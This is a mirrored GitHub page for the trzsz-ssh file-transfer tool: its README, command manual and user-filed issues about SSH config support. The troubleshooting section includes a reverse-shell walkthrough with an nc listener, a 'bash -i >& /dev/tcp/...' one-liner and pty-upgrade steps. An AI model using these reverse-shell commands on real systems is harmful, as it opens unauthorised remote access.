Code Monkey home page Code Monkey logo

trzsz-ssh's Introduction

trzsz ( trz / tsz ) - similar to ( rz / sz ) and compatible with tmux

MIT License PyPI trzsz WebSite 中文文档

trzsz ( trz / tsz ) is a simple file transfer tools, similar to lrzsz ( rz / sz ), and compatible with tmux.

How to use

  1. Install trzsz ( trz / tsz ) on the server. go, py and js versions are compatible with each other.

  2. Use supported terminal on local. Use trzsz-ssh ( tssh ) on local shell, or refer to Supported Terminals below.

  3. Use the trz ( similar to rz ) to upload files, and use the tsz ( similar to sz ) to download files.

Why to do

  • Considering laptop -> hostA -> hostB -> docker -> tmux, using scp or sftp is inconvenience.

  • In this case, lrzsz ( rz / sz ) is convenient to use, but unfortunately it's not compatible with tmux.

  • tmux is not going to support rz / sz ( 906, 1439 ), so trzsz ( trz / tsz ) was developed.

Advantage

  • Support tmux, including tmux normal mode, and tmux command mode integrated with iTerm2.
  • Support transfer directories, trz -d to upload directories, tsz -d xxx to download xxx directories.
  • Support breakpoint resume, trz -y or tsz -y xxx overwrite exiting files will auto resume from breakpoint.
  • Support Windows server, not only can run on Windows client, but also can run on Windows ssh server.
  • Support native terminal, does not require terminal to support, just use trzsz ssh x.x.x.x to login.
  • Support web terminal, transfer files and directories between local and remote servers over the web.
  • Support drag to upload, drag and drop files and directories to the terminal to upload to the remote server.
  • Support progress bar, shows the current transferring file name, progress, size, speed, remaining time, etc.
  • Better interactive experience, shows the transfer results or errors friendly, ctrl + c to stop gracefully.

Installation

On the server

  • Install the Go version ( ⭐ Recommended )

    Please check the Go version installation guide: https://trzsz.github.io/go

  • Or install with Python3

    sudo python3 -m pip install --upgrade trzsz
    
  • Or install with Python2

    sudo python2 -m pip install --upgrade trzsz
    
  • Or install with Homebrew

    brew update
    brew install trzsz
    
  • Or install with Node.js

    sudo npm install -g trzsz
    

  Can be installed without sudo, just add the installation path ( e.g. ~/.local/bin ) to the PATH environment.

Supported Terminals

  • trzsz-ssh ( tssh ) -- simple ssh client with trzsz support ( ⭐ Recommended ).

  • iTerm2 -- check the trzsz-iterm2 installation.

  • tabby -- install the tabby-trzsz plugin.

  • electerm -- upgrade to 1.19.0 or higher.

  • ttyd -- upgrade to 1.7.3 or higher, and start with -t enableTrzsz=true, use https unless localhost.

  • trzsz-go -- supports all terminals that support a local shell.

  • trzsz.js -- making webshell in browser and electron terminal supports trzsz.

  Does your terminal supports trzsz as well? Please let me know. I would love to have it on the list.

Trzsz Manual

trz upload files to the remote server

usage: trz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] [path]

Receive file(s), similar to rz and compatible with tmux.

positional arguments:
  path               path to save file(s). (default: current directory)

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

tsz download files from the remote server

usage: tsz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] file [file ...]

Send file(s), similar to sz and compatible with tmux.

positional arguments:
  file               file(s) to be sent

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

Trouble shooting

  • If tmux is running on the local computer.

    • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
    • Option 2: Install trzsz-go on the local computer, use trzsz ssh to login after tmux.
    • Option 3: Install trzsz-ssh on the local computer, use tssh to login after tmux.
  • If tmux is running on the jump server.

    • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
    • Option 2: Install trzsz-go on the jump server, use trzsz -r ssh to login after tmux.
    • Option 3: Install trzsz-ssh on the jump server, use tssh to login after tmux.
  • If an error occurs, and trzsz is hanging up.

    • Press control + c to stop trz or tsz process on the server.
    • For iTerm2 users, press command + option + shift + r to stop iTerm2 Coprocesses.
  • If trz -b binary upload fails, and login to server using telnet or docker exec.

    • Try to escape all known control characters, e.g., trz -eb.
  • If trz -b or tsz -b binary transfer fails, and login to server using expect.

    • Try to export LC_CTYPE=C before the expect script. e.g.:
      #!/bin/sh
      export LC_CTYPE=C
      expect -c '
        spawn ssh xxx
        expect "xxx: "
        send "xxx\n"
        interact
      '
      
  • If you want to upload and download using trz / tsz in a reverse shell, you need to follow these steps:

    • 1. Use tssh xxx or trzsz ssh xxx to log in to the server.
    • 2. Execute nc -lnv 1337 on the server, and wait for the reverse shell connection.
    • 3. Reverse connect to the server on the target, such as bash -i >& /dev/tcp/192.168.0.1/1337 0>&1.
    • 4. Follow these steps in the reverse shell:
      • 4.1. Convert to an interactive shell, such as python3 -c 'import pty; pty.spawn("/bin/bash")'.
      • 4.2. Press ctrl + z to turn the reverse shell into background.
      • 4.3. Execute stty raw -echo; fg to disable the echo of the server, and return to the reverse shell.
      • 4.4. Press the Enter key, and the command line prompt will be displayed.
      • 4.5. Set the terminal environment variable export TERM=xterm-256color ( not necessary ).
      • 4.6. Check if there is a TMUX environment variable, clear it with unset TMUX.
      • 4.7. Now you can use trz / tsz to upload and download as normal.
    • 5. After exiting the interactive shell, there will be no echo, type exit blindly to exit the reverse shell.
    • 6. Type reset blindly on the server and press Enter to reset the default settings of the terminal.

Screenshot

Using trzsz in iTerm2 with text progress bar

using trzsz in iTerm2 with text progress bar

Using trzsz in iTerm2 with zenity progress bar

using trzsz in iTerm2 with zenity progress bar

Using trzsz in tabby with tabby-trzsz plugin

using trzsz in tabby with tabby-trzsz plugin

Contact

Feel free to email the author [email protected], or create an issue. Welcome to join the QQ group: 318578930.

Sponsor

❤️ Sponsor trzsz ❤️, buy the author a drink 🍺 ? Thank you for your support!

trzsz-ssh's People

Contributors

ddding avatar hzhq1255 avatar lonnywong avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

trzsz-ssh's Issues

反馈问题

编译试了下太棒了,支持HJKL移动翻页键很方便

  • 反馈问题:
    如果ssh长时间无法登陆,使用Ctrl+C也无法退出,如下图:
    image
    image

- 几个建议:

  • 1.tssh后不选择别名,想退出; 建议除了按Ctrl + C可以退出外,增加q键退出;
  • 2.由于我的~/.ssh/config中的别名非常多,建议增加类似vim键,gg移到行首,G移到行末;
  • 3.切换到搜索模式后,现在只能左手移动到方向键上下移动,建议增加类似fzf搜索工具的方式,对搜索结果可以使用Ctrl + H,J,K,L上下移动,这样左手就不用离开字母区了;

image

可否支持ControlPersist配置

是否可以支持以下ssh配置,这样登陆跳板机可以只验证一次,后续的登陆会复用之前的链接

ControlMaster auto
ControlPath /tmp/%h_%p_%r
ControlPersist yes

考虑下支持 config 中的`IdentityFile`

Host test
	HostName www.baidu.com
	port 22
	user root
	IdentityFile ~/.ssh/baidu/id_rsa
	PubkeyAcceptedKeyTypes +ssh-rsa
	HostKeyAlgorithms +ssh-rsa

例如一个配置文件中的定义,路径可能不在 .ssh目录下。

响应ctrl+space问题

v2ex过来的,今天刚装上,确实好用。有个小问题不知道能不能解决。
windows terminal,默认不能处理ctrl+space按键,比如我tmux prefix设置的这个就无效。查了下是openssh版本问题,windows10默认ssh版本8.1,如果升级到8.9以上,就能解决这个问题,前提是用ssh登录。
如果用tssh,即使ssh版本升级了仍然不行,我看另一issue说是用的go的一个ssh库,没用windows内置的,所以现在我判断是ssh库导致了ctrl+space无效,好像有点棘手了。
试了用其他terminal,比如windterm,执行tssh也有这个问题。

ssh 重连的方法

打扰了,我的使用场景是这样:
tssh 可能会挂在后台运行,比如临时用ssh开一个隧道,这种时候需要一个稳定的后台服务,网络波动之类的情况可能导致ssh断掉,这个时候就需要重连,现在是用supervisor来写一个配置实现的。

请问下tssh可以通过配置或参数的方式来实现reconnect之类的效果么

decode config failed: ssh_config: Match directive parsing is unsupported

我同时使用 Fig 终端自动完成,它也会列出 ~/.ssh/config 列表,并且会往文件末尾写入 Match 指令,tssh 无法解析它

https://fig.io/user-manual/servers
https://fig.io/user-manual/autocomplete/ssh

# Fig ssh integration. Keep at the bottom of this file.
Match all
  Include ~/.fig/ssh

另外我还有一个疑问,是不是用 tssh 的话就可以在任意终端直接使用(比如 VSCode 内置终端)而不需要像 iTerm2 那样手动配置了?因为我更喜欢文本进度条,但现在 iTerm2 最新版还是 3.4.19,不想折腾升级 nightly 版本

支持保存seesion

通过命令远程到服务器,可以保存当前主机,用户名,以及密码到配置文件

一些场景下可能没HOME变量,需要手动指定

最新功能支持参数了,很棒,感谢大佬
然后我使用的时候发现一点小问题,

参数命令如下
./tssh -F xx.conf hosname "pwd"

报错 user home dir failed: $HOME is not defined
解决就是赋值一下HOME HOME=/opt/xxx ./tssh -F xx.conf hosname "pwd"
// 其实这个没有home变量的时候我可能觉得直接取当前路径做默认值好点

另外KnownHosts参数有计划可以通过配置文件配置么,比如有的时候不想记录或者用的是一个不在.ssh目录下的的文件 UserKnownHostsFile=/dev/null,现在指定HOME目录了还要再创建.ssh目录,可能这种场景下其实不需要.ssh目录了,因为多半不想把记录写到~/.ssh/这里去

一点愚见,感谢大佬

Bad owner or permissions on...问题

我在本地 .ssh目录下创建 config文件后,可以使用 tssh,但我再使用ssh命令就用不了了,报 Bad owner or permissions on...。
image
image
这个问题好像是ssh继承权限问题,我用的是windows10自带的openSSH
image
解决方案是换个ssh,比如安装Git时带的ssh就行。

在linux上也是,比如centos7
1687412660873

你们是怎么解决这个问题的?

choco支持

windows是否考虑一下支持choco方式安装

mac m1 执行 go install 报错

github.com/trzsz/trzsz-go/trzsz
go/pkg/mod/github.com/trzsz/[email protected]/trzsz/pipeline.go:44:17: undefined: context.CancelCauseFunc
go/pkg/mod/github.com/trzsz/[email protected]/trzsz/pipeline.go:450:23: undefined: context.WithCancelCause
go/pkg/mod/github.com/trzsz/[email protected]/trzsz/pipeline.go:477:23: undefined: context.Cause
go/pkg/mod/github.com/trzsz/[email protected]/trzsz/pipeline.go:742:23: undefined: context.WithCancelCause
go/pkg/mod/github.com/trzsz/[email protected]/trzsz/pipeline.go:771:23: undefined: context.Cause
note: module requires Go 1.20

不等于和尖头的渲染问题

image
请问这个两个符号是 tssh 渲染出来的吗?如果是如何还原成默认(!= , =>,->)的呢?

我使用 windows Terminal ,我应该如何设置让它显示为默认的。

tssh 服务器没有用上 key

[14:43:30] [~] ❱❱❱ tssh -p13911 -i key/wrd-hbspy 10.123.192.153 --debug
debug: reading password from /Users/hbspy/.ssh/password
debug: open /Users/hbspy/.ssh/password success
debug: decode /Users/hbspy/.ssh/password success
debug: no password configuration for 10.123.192.153
[email protected]'s password:

trzsz ssh 0.1.9

debug 日志里好像也没有找没找到 key 的体现,总之就是没用上 key,直接走到了 password 这一步

prompt选择乱码

image
这两个字符在我的win10和centos7中无法显示,我表示很伤心.
Image_20230620152412

win11下使用ProxyCommand指令会提示ssh: handshake failed,微软自带的openssh正常

下面是我的config配置:

Host hetzner
  HostName x.x.x.x
  User xxx
  Port 22
  IdentityFile C:\Users\xxx\.ssh\id_rsa
  #ProxyCommand C:\Program Files (x86)\Nmap\ncat.exe --verbose --proxy-type http --proxy 127.0.0.1:7890 %h %p
  #ProxyCommand "C:\Users\xxx\bin\connect.exe" -S 127.0.0.1:7890 %h %p

是我哪里使用的不对么,很奇怪微软自带的openssh客户端倒是正常

是否支持一次选中多个远程主机, 批量登录

直接执行 tssh 命令( 不带参数 ),可以选择( 搜索 ) ~/.ssh/config 中配置好的服务器并登录


在这个交互界面似乎不能一次选中多个 Host, 然后按下回车批量登录到远程主机
在 TMUX环境下, 批量选中多个主机, 按下回车之后希望实现一次开多个 Window(tmux 中的概念, 相当于开了多个 Tab)
当然也有开多个pane的需求, 当用户按下 Shift+Enter 键时, 在 tmux 的一个 Window 里开多个 pane
我自己用 Shell 简单了实现多开 window的需求, 贴出来可供大家参考:

    function ftsh() {
        local initial_query token
        local -a pickers
        initial_query="${*:-}"
        token=$(awk 'NR==FNR&&$1~/^Host/{print $2};{if(NR!=FNR&&$1~/[0-9.]+/){print $1}}' ~/.ssh/config ~/.ssh/known_hosts |\
            rg -v 'localhost|:' |sort -u | \
            fzf-tmux \
            --query="$initial_query" \
            -w60% -h60% -m -e -0 --border --ansi
            )
        pickers=($(echo "${token}" |tr "\n" " "))
        if [ "x$token" != "x" ] && [[ "${#pickers}" == 1 ]]; then
            if [[ "${token}" =~ ^[0-9.]+ ]] then
                tssh root@"${token}"
            else
                tssh "${token}"
            fi
        else
            for i in "${pickers[@]}";do
                [[ "${i}" =~ ^[0-9.]+ ]] && tmux new-window "tssh root@$i" || tmux new-window -n "$i" "tssh $i"
            done
        fi
    }

bug : 关于 .\.ssh\known_hosts 中有 空格的情况下,会使用不了

在我的 known_hosts 中有一条记录

[demo.local]:2222,[fe80::20c:29ff:fe18:e2b5%以太网 6]:2222 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAfFFhkEb

这里出现了空格以太网 6 于是 tssh 连接时报错了

new knownhosts [C:\Users\xxx\.ssh\known_hosts] failed: knownhosts: C:\Users\xxx\.ssh\known_hosts:9: illegal base64 data at input byte 5

自动安装trzsz

能否像vscode那样链接服务器后自动安装vscode-server那样,tssh登录到服务器上后,自动安装trzsz?

支持SSH escape sequences

$ ~?
Supported escape sequences:
 ~.   - terminate session
 ~B   - send a BREAK to the remote system
 ~R   - request rekey
 ~#   - list forwarded connections
 ~?   - this message
 ~~   - send the escape character by typing it twice
(Note that escapes are only recognized immediately after newline.)

建议支持ssh的一些特殊字符功能,必要的时候还是很好用的。

计划支持一种新的传输模式 — 隧道模式,客户端使用 tssh 时生效,服务端先在 Go 版实现。

基本思路:
1、服务端trz / tsz 在启动时,侦听 127.0.0.1 上的一个随机端口,并将端口号告知客户端。
2、tssh 作为客户端时,会使用 SSH 隧道尝试与 trz / tsz 建立连接,成功则使用隧道模式传输。
3、如果因为跳板机或 docker exec 等原因,导致无法与 trz / tsz 建立连接,则降级使用 trzsz 原有模式。

场景举例:

客户端 跳板机 服务器 传输模式
trzsz ssh trz / tsz 原有模式
tssh trz / tsz ✅ 隧道模式
tssh ssh trz / tsz 原有模式
tssh tssh trz / tsz ✅ 隧道模式
tssh ( ProxyJump ) trz / tsz ✅ 隧道模式
tssh ( ProxyCommand ) trz / tsz ✅ 隧道模式
tssh docker exec -> trz / tsz 原有模式
tssh ssh docker -> trz / tsz 原有模式
tssh tssh docker -> trz / tsz ✅ 隧道模式
trzsz docker exec -> ssh trz / tsz 原有模式
trzsz docker exec -> tssh trz / tsz 原有模式
tssh docker -> ssh trz / tsz 原有模式
tssh docker -> tssh trz / tsz ✅ 隧道模式

报错,找不到 ssh key

read private key [~/.ssh/dev] failed: open ~/.ssh/dev: no such file or directory

实际上这个文件是存在的,macos 系统

ssh config 这样配置的

Host dev
HostName %h
Port 22
User root
IdentityFile ~/.ssh/dev

can't get public key from '/Users/xxx/.ssh/id_rsa'

版本:github releases 下载0.1.4二进制文件(tssh_0.1.4_macos_aarch64.tar.gz)
系统:m1 pro
不管去掉IdentityFile 参数,还是加上或者换上绝对路径就是提示获取不到,也试过tssh -i path 也是一样。
tssh-1
tssh-2

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.